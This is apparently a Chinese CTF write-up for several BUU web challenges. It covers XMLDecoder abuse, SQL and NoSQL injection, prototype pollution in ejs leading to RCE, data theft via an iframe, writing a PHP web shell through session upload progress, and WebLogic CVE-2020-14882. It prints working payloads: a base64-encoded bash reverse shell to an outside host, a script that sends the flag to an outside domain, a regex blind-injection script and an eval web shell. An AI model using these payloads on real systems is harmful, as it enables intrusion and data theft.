babycat
看源码可以看到有注册,但是点击却不行
尝试直接构造发包,注册成功
登陆进来发现只有Download Test可以点,Upload需要admin权限
Download Test可以直接下载源码
可以看到注册的代码里会匹配role,这里for循环的意思是对最后一个匹配的进行强制替换,题目还提示了注释符,这里使用的是gson解析,可以使用注释符
成功获得admin权限
分析upload代码,发现对后缀和内容都有过滤
继续查看别的包
在baseDao发现XMLDecoder
调用了xml
可以覆盖然后触发,使用html实体编码绕过
只需要登录或者注册即可触发xml进行反弹
easycms
找到后台页面,提示为5位弱密码,测试位admin/12345
找到主题导出,能够任意文件下载
尝试直接下载flag,成功下载flag
easynode
进来是登陆窗口,没有获取到别的信息,给了源码,进行源码分析
let safeQuery = async (username,password)=>{
const waf = (str)=>{
blacklist = ['\\','\^',')','(','\"','\'']
blacklist.forEach(element => {
if (str == element){
str = "*";
}
});
return str;
}
const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
if (waf(str[i]) =="*"){
str = str.slice(0, i) + "*" + str.slice(i + 1, str.length);
}
}
return str;
}
username = safeStr(username);
password = safeStr(password);
let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
result = JSON.parse(JSON.stringify(await select(sql)));
return result;
}
app.post('/login',function(req,res,next){
let username = req.body.username;
let password = req.body.password;
safeQuery(username,password).then(
result =>{
if(result[0]){
const token = generateToken(username)
res.json({
"msg":"yes","token":token
});
}
else{
res.json(
{"msg":"username or password wrong"}
);
}
}
).then(close()).catch(err=>{res.json({"msg":"something wrong!"});});
})
这里过滤了需要注入的字符,但是过滤不严谨,可以用数组绕过,但是使用数组绕过的话,调用substr会报错
可以看到这里,如果出现了*
,就会进行字符串拼接,这里可以利用js的特性,拼接后数组会变成字符串
进过测试,如果数组不够长的话会把前面的字符替换,可以看到变量完了一遍后还会单个字符再次遍历
可以看到当数组足够长了,遍历一遍后只能读取到后面的1了
payload
username[]=admin'#&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=*&password=1
继续进行审计,可以发现adminDIV路由,就是在DIV模块下回读取⽤户的⽤户名,之后将DIV的键名和值直接导⼊进去,这里使用extend
进行合并,其实也是类似merge方法,并且使用了JSON。parse进行解析,这样能够使得”__proto__“这样的字段不会直接被解析成原型,因此此处存在原型链污染,考虑到这里引入了ejs库:
app.post("/adminDIV",async(req,res,next) =>{
const token = req.cookies.token
var data = JSON.parse(req.body.data)
let result = verifyToken(token);
if(result !='err'){
username = result;
var sql =`select board from board where username = "${username}"`;
var query = JSON.parse(JSON.stringify(await select(sql).then(close().catch( (err)=>{console.log(err);} ))));
board = JSON.parse(JSON.stringify(query[0].board));
for(var key in data){
var addDIV =`{"${username}":{"${key}":"${(data[key])}"}}`;
extend({},JSON.parse(addDIV));
}
sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
select(sql).then(close()).catch( ()=>{res.json({"msg":'DIV ERROR?'});});
res.json({"msg":'addDiv successful!!!'});
}
else{
res.end('nonono');
}
});
访问admin路由,就会渲染ejs,然后getshell,原理参考https://evi0s.com/2019/08/30/expresslodashejs-%E4%BB%8E%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E5%88%B0rce/
https://blog.szfszf.top/tech/javascript-%e5%8e%9f%e5%9e%8b%e9%93%be%e6%b1%a1%e6%9f%93-%e5%88%86%e6%9e%90/
首先使用admin权限创建账号__proto__
username=__proto__&password=1
之后利用proto的token构造payload(payload需经过base64和url编码)反弹shell
data={"outputFunctionName":"a;global.process.mainModule.require('child_process').exec('echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8zOGRtMjI1NzQ5LjUxdmlwLmJpei8yNzg3OSAwPiYxJw|base64,-d|bash,-i');a"}
buu的环境貌似有问题,明明添加用户成功了却不能登录
CheckBot
题目给提示本地访问admin.php就给flag,访问damin.php发现有一个标签id为flag,猜测本地访问应该就是真实flag
首页提示post提交url,让机器人去访问
用 iframe 加载内容,然后选其中的 flag 元素的值,使用XMLHttpRequest发送出来
<html>
<body>
<iframe id="flag" src="http://127.0.0.1/admin.php"></iframe>
<script>
window.onload = function(){
/* Prepare flag */
let flag = document.getElementById("flag").contentWindow.document.getElementById("flag").innerHTML;
/* Export flag */
var exportFlag = new XMLHttpRequest();
exportFlag.open('get', 'https://laotun.top/~' + window.btoa(flag) + '~');
exportFlag.send();
}
</script>
</body>
</html>
提交后获取flag
hackme
进来是个登陆窗口,测试不是弱密码
查看源码看到提示,是nosql
进行抓包可以看到使用的是json格式
构造用永真式
{"username":{"$ne":1},"password": {"$ne":1}}
被检测了
根据题目提示,可以用unicode编码绕过
这里应该使用nosql盲注
{"msg":"登录了,但没完全登录"}
为真
{"msg":"登录失败"}
为假
盲注脚本
import requests
import string
password = ''
url = 'http://node4.buuoj.cn:29402/login.php'
#盲注当知道了用户名后就可以用正则$regex来爆破密码
while True:
for c in string.printable:
if c not in ['*', '+', '.', '?', '|', '#', '&', '$']:
# When the method is GET
get_payload = '?username=admin&password[$regex]=^%s' % (password + c)
# When the method is POST
post_payload = {
"username": "admin",
"password[$regex]": '^' + password + c
}
# When the method is POST with JSON
json_payload = """{"username":"admin", "password":{"\\u0024\\u0072\\u0065\\u0067\\u0065\\u0078":"^%s"}}""" % (password + c)
headers = {'Content-Type': 'application/json'}
r = requests.post(url=url, headers=headers, data=json_payload) # 简单发送 json
#r = requests.post(url=url, data=post_payload)
if '但没完全登录' in r.content.decode():
password += c
print(password)
登陆进来得到admin.php
发现可以读取文件,info是phpinfo
猜测能任意文件读取,尝试读取/etc/passwd
尝试读取flag,提示flag在内网中,需要getshell
访问info.php查找利用信息,可以看到使用的是nginx
读取nginx配置文件,/usr/local/nginx/conf/nginx.conf
,可以看到还有个weblogic服务
Admin.php可以任意文件读取,那么我们猜测应该可能存在一处文件包含,并且目标环境开启了 session.upload_progress.enabled
那我们可以尝试利用 PHP_SESSION_UPLOAD_PROGRESS
来 Getshell,详情:https://whoamianony.top/2021/05/14/Web%E5%AE%89%E5%85%A8/%E6%B5%85%E8%B0%88%20SESSION_UPLOAD_PROGRESS%20%E7%9A%84%E5%88%A9%E7%94%A8/
POC
<!doctype html>
<html>
<body>
<form action="http://node4.buuoj.cn:29402/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo();fputs(fopen('/usr/local/nginx/html/shell.php','w'),'<?php @eval($_POST[laotun])?>');?>" />
<input type="file" name="file" />
<input type="submit" />
</form>
</body>
</html>
可以找到session保存地址
burpsuite 双开,成功写入
蚁剑连接
内网可以直接访问weblogic服务,可以使用反向代理代理出来
使用frp代理出来
配置文件,frps.ini
[common]bind_port = 4444
frpc.ini
[common]server_addr = 47.*.*.* //外网ipserver_port = 4444[web]type = tcplocal_port = 7001local_ip = weblogicremote_port = 5555
weblogic版本为12.2.1.4.0,经过查找发现正好在 CVE-2020-14882 漏洞的影响范围内
在github上找到poc:https://github.com/GGyao/CVE-2020-14882_ALL
读取flag
大佬我想问一下为什么whoami师傅的文章都无法访问了啊